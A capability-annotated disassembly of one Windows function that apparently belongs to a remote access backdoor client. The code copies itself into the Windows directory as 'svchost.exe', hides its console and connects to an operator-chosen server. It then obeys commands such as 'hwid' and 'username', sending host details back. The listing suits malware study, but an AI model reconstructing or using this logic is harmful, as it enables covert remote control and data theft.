Function at 0x140002f20
Capabilities:
Connect socket
Copy file
Create process on windows
Create thread
Get common file path
Initialize winsock library
Query environment variable
Receive data
Receive data on socket
Send data
Send data on socket
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xc90]
sub rsp, 0xd90
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xc80], rax
mov rbx, rdx
xor r12d, r12d
mov esi, r12d
mov dword [rsp + 0x34], r12d
mov ecx, 0x4e3
call qword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov ecx, 0x4e3
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
call fcn.140002880
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x680]
call sub.VCRUNTIME140.dll_memset
mov ecx, 0x202
lea rdx, [rbp + 0x1d0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jns 0x140002fd8
lea rdx, str.WSA_Initialization_failed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004a00
lea rdx, [0x140004bd0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea eax, [r12 - 1]
jmp 0x140004137
lea rdx, str.svchost.exe
mov rcx, qword [rbx]
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x140003076
mov r8d, 0x104
lea rdx, [rbp + 0x480]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 0x104
lea rcx, [rbp + 0x370]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x140003076
lea rdx, str.svchost.exe
lea rcx, [rbp + 0x370]
call qword [sym.imp.SHLWAPI.dll_PathAppendA]
xor r8d, r8d
lea rdx, [rbp + 0x370]
lea rcx, [rbp + 0x480]
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rbp + 0x370]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rdx, str._INPUT__Server_IP:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004a00
lea r8, [rbp + 0xa80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400057d0
lea rdx, str._INPUT__PORT:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004a00
lea rdx, [rbp + 0x68]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rbp + 0xa80]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov dword [rbp + 0x144], eax
movzx ecx, word [rbp + 0x68]
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x142], ax
mov ecx, 2
mov word [rbp + 0x140], cx
lea r13, [0x140008b58]
lea r14, [0x140008df8]
lea r15, [0x140002ef0]
nop word [rax + rax]
xor r8d, r8d
lea edx, [r8 + 1]
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rsp + 0x38], rax
cmp rax, 0xffffffffffffffff
jne 0x140003174
lea rdx, str.Socket_error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004a00
mov rbx, rax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x140004bd0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [rsp + 0x38]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x140]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_connect]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
test eax, eax
jns 0x1400035f1
lea rdx, str.Connect_error:
call fcn.140004a00
mov rdi, rax
mov rcx, qword [0x14000c080]
mov rbx, qword [rcx + 0x10]
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov r8d, eax
lea rdx, [rbp + 0xc0]
lea rcx, [0x14000c080]
call rbx
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x1400031db
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call fcn.140005610
lea rdx, [0x140004bd0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x140003238
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003233
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003fe8
call fcn.140006354
mov rdi, qword [rsp + 0x38]
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
mov qword [rbp + 0x38], r12
mov qword [rbp + 0x40], r12
mov ecx, 0x80
call fcn.140006240
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], r12
mov r8d, 3
lea rdx, [0x14000892c]
lea rcx, [rsp + 0x50]
call fcn.140004ed0
mov qword [rsp + 0x70], r13
lea rax, [0x140002e40]
mov qword [rsp + 0x78], rax
movzx eax, byte [rsp + 0x30]
mov byte [rbp - 0x80], al
mov qword [rbp - 0x78], rdi
lea rax, [rsp + 0x70]
mov qword [rbp - 0x58], rax
lea r8, [rsp + 0x50]
lea rdx, [rbp + 0x18]
lea rcx, [rbp + 0x38]
call fcn.140005990
nop
mov rcx, qword [rbp - 0x58]
test rcx, rcx
je 0x1400032eb
mov rax, qword [rcx]
lea rdx, [rsp + 0x70]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
mov qword [rbp - 0x58], r12
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140003328
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003323
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003fef
call fcn.140006354
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], r12
mov r8d, 6
lea rdx, str.msgbox
lea rcx, [rbp - 0x50]
call fcn.140004ed0
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], r15
lea rax, [rbp - 0x30]
mov qword [rbp + 8], rax
lea r8, [rbp - 0x50]
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x38]
call fcn.140005990
nop
mov rcx, qword [rbp + 8]
test rcx, rcx
je 0x14000338c
mov rax, qword [rcx]
lea rdx, [rbp - 0x30]
cmp rcx, rdx
setne dl
call qword [rax + 0x20]
mov qword [rbp + 8], r12
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x1400033c7
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400033c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003ff6
call fcn.140006354
xor r9d, r9d
mov r8d, 0x400
lea rdx, [rbp + 0x680]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x140003ec0
nop dword [rax]
lea rcx, [rbp + 0x680]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x140003400
test rax, rax
je 0x140003e82
lea rdx, str.MSG_From_server:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004a00
mov rcx, rax
lea rdx, [rbp + 0x680]
call fcn.140004a00
lea rdx, [0x140004bd0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], r12
mov qword [rbp + 0x88], r12
lea rax, [rbp + 0x680]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140003470
lea rdx, [rbp + 0x680]
lea rcx, [rbp + 0x70]
call fcn.140004ed0
nop
lea rcx, [rbp + 0x70]
mov rbx, qword [rbp + 0x88]
cmp rbx, 0xf
seta r15b
mov byte [rsp + 0x30], r15b
mov r13, qword [rbp + 0x70]
mov qword [rsp + 0x40], r13
cmova rcx, r13
mov r14, qword [rbp + 0x80]
cmp r14, 5
jne 0x1400034d4
mov r8, r14
lea rdx, str.close
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140003ffd
lea rcx, [rbp + 0x70]
test r15b, r15b
cmovne rcx, r13
cmp r14, 4
jne 0x1400034fc
mov r8, r14
lea rdx, [0x140008a44]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140003ffd
lea rcx, [rbp + 0x70]
test r15b, r15b
cmovne rcx, r13
cmp r14, 4
jne 0x140003630
mov r8, r14
lea rdx, str.hwid
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140003630
lea rcx, [rbp + 0x150]
call qword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileA]
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], r12
mov qword [rbp + 0xf8], r12
lea rax, [rbp + 0x154]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140003560
lea rdx, [rbp + 0x154]
lea rcx, [rbp + 0xe0]
call fcn.140004ed0
lea rdx, [rbp + 0xe0]
cmp qword [rbp + 0xf8], 0xf
cmova rdx, qword [rbp + 0xe0]
mov r9d, 4
lea r8d, [r9 + 0x1c]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x14000393a
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400035e7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000403c
call fcn.140006354
jmp 0x14000393a
lea rdx, str.___Connected_to_server.
call fcn.140004a00
lea rdx, [0x140004bd0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor r9d, r9d
mov r8d, 0x200
lea rdx, str.u.mEZHXx__JRzMU_q_DnGg_5hB__aeFy7Trj_94V__N__
mov rdi, qword [rsp + 0x38]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
jmp 0x14000323d
lea rcx, [rbp + 0x70]
test r15b, r15b
cmovne rcx, r13
cmp r14, 8
jne 0x140003748
mov r8, r14
lea rdx, str.username
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140003748
xor edx, edx
mov r8d, 0x200
lea rcx, [rbp + 0x480]
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x200
lea rdx, [rbp + 0x480]
lea rcx, str.USERNAME
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
mov qword [rbp + 0x110], r12
mov qword [rbp + 0x118], r12
lea rax, [rbp + 0x480]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1400036b0
lea rdx, [rbp + 0x480]
lea rcx, [rbp + 0x100]
call fcn.140004ed0
or esi, 4
mov dword [rsp + 0x34], esi
lea rdx, [rbp + 0x100]
cmp qword [rbp + 0x118], 0xf
cmova rdx, qword [rbp + 0x100]
mov r9d, 4
lea r8d, [r9 + 0x1c]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
mov rdx, qword [rbp + 0x118]
cmp rdx, 0xf
jbe 0x14000393a
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000373e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004043
call fcn.140006354
jmp 0x14000393a
lea rdi, [rbp + 0x70]
test r15b, r15b
cmovne rdi, r13
cmp r14, 0xc
jb 0x14000393a
lea rsi, [r14 + rdi]
lea r8, [rsi - 0xb]
sub r8, rdi
mov edx, reloc.WS2_32.dll_WSAStartup
mov rcx, rdi
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x14000393a
nop dword [rax]
nop word [rax + rax]
mov r8d, recv
lea rdx, str.set_encoding
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400037cd
inc rbx
lea r8, [rsi - 0xb]
sub r8, rbx
mov edx, reloc.WS2_32.dll_WSAStartup
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x140003790
jmp 0x14000393a
sub rbx, rdi
cmp rbx, 0xffffffffffffffff
je 0x14000393a
lea rbx, [rbp + 0x70]
test r15b, r15b
cmovne rbx, r13
cmp r14, 3
jb 0x140003847
lea rdi, [r14 + rbx]
lea r8, [rdi - 2]
sub r8, rbx
mov edx, 0x38
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140003847
cmp byte [rax], 0x38
jne 0x14000381e
cmp byte [rax + 1], 0x36
jne 0x14000381e
cmp byte [rax + 2], 0x36
jne 0x14000381e
mov ecx, r12d
jmp 0x140003823
sbb ecx, ecx
or ecx, 1
test ecx, ecx
je 0x1400038a9
inc rax
lea r8, [rdi - 2]
sub r8, rax
mov edx, 0x38
mov rcx, rax
call sub.VCRUNTIME140.dll_memchr
test rax, rax
jne 0x140003808
lea rbx, [rbp + 0x70]
test r15b, r15b
cmovne rbx, r13
cmp r14, 4
jb 0x14000393a
lea rdi, [r14 + rbx]
lea r8, [rdi - 3]
sub r8, rbx
mov edx, 0x31
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x14000393a
nop dword [rax]
mov rcx, r12
lea r8, str.1251
nop word [rax + rax]
movzx edx, byte [rax + rcx]
inc rcx
cmp dl, byte [r8 + rcx - 1]
jne 0x1400038d1
cmp rcx, 4
jne 0x140003890
mov ecx, r12d
jmp 0x1400038d6
sub rax, rbx
cmp rax, 0xffffffffffffffff
je 0x140003847
mov ecx, 0x362
call qword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov ecx, 0x362
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
lea rdx, str.Codepage_UTF_8_was_installed.
jmp 0x14000391e
sbb ecx, ecx
or ecx, 1
test ecx, ecx
je 0x1400038f8
inc rax
lea r8, [rdi - 3]
sub r8, rax
mov edx, 0x31
mov rcx, rax
call sub.VCRUNTIME140.dll_memchr
test rax, rax
jne 0x140003880
jmp 0x14000393a
sub rax, rbx
cmp rax, 0xffffffffffffffff
je 0x14000393a
mov ecx, 0x4e3
call qword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov ecx, 0x4e3
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
lea rdx, str.Codepage_CP1251_was_installed.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004a00
lea rdx, [0x140004bd0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], r12
mov qword [rbp + 0x60], r12
lea rax, [rbp + 0x680]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140003960
lea rdx, [rbp + 0x680]
lea rcx, [rbp + 0x48]
call fcn.140004ed0
nop
lea rsi, [rbp + 0x48]
mov r15, qword [rbp + 0x60]
cmp r15, 0xf
seta r12b
mov rdi, qword [rbp + 0x48]
cmova rsi, rdi
mov r14, qword [rbp + 0x58]
test r14, r14
je 0x140003df7
mov r8, r14
mov edx, 0x20
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x140003df7
sub rbx, rsi
cmp rbx, 0xffffffffffffffff
je 0x140003df7
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
xor esi, esi
mov qword [rbp + 0x130], rsi
mov qword [rbp + 0x138], rsi
mov r8, rbx
cmp r14, rbx
cmovb r8, r14
lea rdx, [rbp + 0x48]
test r12b, r12b
cmovne rdx, rdi
lea rcx, [rbp + 0x120]
call fcn.140004ed0
mov r14d, dword [rsp + 0x34]
or r14d, 2
inc rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], rsi
mov qword [rbp + 0xd8], rsi
mov rax, qword [rbp + 0x58]
cmp rax, rbx
jb 0x140004167
sub rax, rbx
mov r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
lea rdx, [rbp + 0x48]
cmp qword [rbp + 0x60], 0xf
cmova rdx, qword [rbp + 0x48]
add rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.140004ed0
or r14d, 1
mov dword [rsp + 0x34], r14d
lea rdx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova rdx, qword [rbp + 0x120]
xorps xmm0, xmm0
movups xmmword [rbp + 0x90], xmm0
mov qword [rbp + 0xa0], rsi
mov qword [rbp + 0xa8], rsi
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x140003aa2
lea rcx, [rbp + 0x90]
call fcn.140004ed0
mov r13, qword [rbp + 0x38]
mov rbx, qword [r13 + 8]
mov r15, r13
mov rsi, qword [rbp + 0xa0]
mov r12, qword [rbp + 0x90]
cmp byte [rbx + 0x19], 0
jne 0x140003b51
cmp qword [rbp + 0xa8], 0xf
seta r14b
nop dword [rax]
nop word [rax + rax]
lea rcx, [rbx + 0x20]
lea rdx, [rbp + 0x90]
test r14b, r14b
cmovne rdx, r12
mov rdi, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0xf
jbe 0x140003b10
mov rcx, qword [rcx]
mov r8, rdi
cmp rsi, rdi
cmovb r8, rsi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140003b29
jns 0x140003b34
mov al, 1
jmp 0x140003b36
cmp rdi, rsi
jae 0x140003b32
mov al, 1
jmp 0x140003b36
jbe 0x140003b40
xor al, al
test al, al
je 0x140003b40
mov rbx, qword [rbx + 0x10]
jmp 0x140003b46
mov r15, rbx
mov rbx, qword [rbx]
cmp byte [rbx + 0x19], 0
je 0x140003af0
mov r14d, dword [rsp + 0x34]
cmp byte [r15 + 0x19], 0
jne 0x140003bac
lea rdx, [r15 + 0x20]
mov rbx, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x140003b6a
mov rdx, qword [rdx]
lea rcx, [rbp + 0x90]
mov rdi, qword [rbp + 0xa8]
cmp rdi, 0xf
cmova rcx, r12
mov r8, rsi
cmp rbx, rsi
cmovb r8, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140003b99
jns 0x140003ba4
mov al, 1
jmp 0x140003ba6
cmp rsi, rbx
jae 0x140003ba2
mov al, 1
jmp 0x140003ba6
jbe 0x140003bb6
xor al, al
test al, al
jne 0x140003bb3
jmp 0x140003bb6
mov rdi, qword [rbp + 0xa8]
mov r15, r13
cmp rdi, 0xf
jbe 0x140003bf2
lea rdx, [rdi + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x140003be6
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000404a
mov rcx, r12
call fcn.140006354
mov r13, qword [rbp + 0x38]
cmp r15, r13
je 0x140003cc6
mov ecx, 0x60
call fcn.140006240
mov rbx, rax
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 0xc0]
mov rcx, rax
call fcn.1400044e0
nop
lea rdi, [rbx + 0x20]
mov qword [rbp + 0x90], rdi
xor r12d, r12d
mov qword [rdi + 0x38], r12
mov rcx, qword [r15 + 0x78]
test rcx, rcx
je 0x140003c43
mov rax, qword [rcx]
mov rdx, rdi
call qword [rax]
mov qword [rdi + 0x38], rax
mov qword [rbp + 0x90], rbx
or r14d, 8
mov dword [rsp + 0x34], r14d
lea rax, [rbp + 0xb8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r12d
mov r9, rbx
lea r8, [0x140005ec0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0xb0], rax
test rax, rax
je 0x14000405d
cmp dword [rbp + 0xb8], 0
je 0x140004051
movaps xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0x90], xmm0
lea rcx, [rbp + 0x90]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140004051
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xb0], xmm0
jmp 0x140003cc9
xor r12d, r12d
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x680]
call sub.VCRUNTIME140.dll_memset
nop
mov rdx, qword [rbp + 0xd8]
cmp rdx, 0xf
jbe 0x140003d20
inc rdx
mov rcx, qword [rbp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003d1a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004070
call fcn.140006354
nop
mov rdx, qword [rbp + 0x138]
cmp rdx, 0xf
jbe 0x140003d62
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003d5c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004077
call fcn.140006354
nop
mov rdx, qword [rbp + 0x60]
cmp rdx, 0xf
jbe 0x140003d9d
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003d98
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000407e
call fcn.140006354
mov qword [rbp + 0x58], r12
mov qword [rbp + 0x60], recv
mov byte [rbp + 0x48], 0
cmp byte [rsp + 0x30], 0
je 0x140003e7e
mov rdx, qword [rbp + 0x88]
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003e79
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003e79
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
test r12b, r12b
je 0x140003e2d
lea rdx, [r15 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140003e25
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000407e
mov rcx, rdi
call fcn.140006354
xor r12d, r12d
mov qword [rbp + 0x58], r12
mov qword [rbp + 0x60], recv
mov byte [rbp + 0x48], r12b
cmp byte [rsp + 0x30], r12b
je 0x140003e7e
mov rdx, qword [rbp + 0x88]
inc rdx
mov rax, r13
cmp rdx, 0x1000
jb 0x140003e76
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003df0
mov rcx, r13
call fcn.140006354
mov esi, dword [rsp + 0x34]
xor r9d, r9d
mov r8d, 0x400
lea rdx, [rbp + 0x680]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
mov rdi, qword [rsp + 0x38]
jne 0x1400033f0
lea r14, [0x140008df8]
lea r15, [0x140002ef0]
lea r13, [0x140008b58]
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
mov edx, eax
sub edx, 0x2742
je 0x1400040bc
sub edx, 2
je 0x1400040b3
sub edx, 2
je 0x140003f7b
sub edx, 3
jne 0x140004085
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str._10057_____Reconnecting_in_progress...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004a00
lea rdx, [0x140004bd0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rbp + 0x38]
mov rdi, qword [rcx + 8]
cmp byte [rdi + 0x19], 0
jne 0x140003f67
nop
mov r8, qword [rdi + 0x10]
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x38]
call fcn.140005ba0
mov rbx, rdi
mov rdi, qword [rdi]
lea rcx, [rbx + 0x20]
call fcn.1400041e0
mov edx, 0x80
mov rcx, rbx
call fcn.140006354
cmp byte [rdi + 0x19], 0
je 0x140003f30
mov rcx, qword [rbp + 0x38]
mov edx, 0x80
call fcn.140006354
mov ecx, 2
jmp 0x140003120
lea rdx, str._10054_____Reconnecting...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140004a00
lea rdx, [0x140004bd0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rbp + 0x38]
mov rdi, qword [rcx + 8]
cmp byte [rdi + 0x19], 0
jne 0x140003f67
nop dword [rax]
mov r8, qword [rdi + 0x10]
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x38]
call fcn.140005ba0
mov rbx, rdi
mov rdi, qword [rdi]
lea rcx, [rbx + 0x20]
call fcn.1400041e0
mov edx, 0x80
mov rcx, rbx
call fcn.140006354
cmp byte [rdi + 0x19], 0
je 0x140003fb0
jmp 0x140003f63
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test r15b, r15b
je 0x1400040df
lea rdx, [rbx + 1]
mov rax, r13
cmp rdx, 0x1000
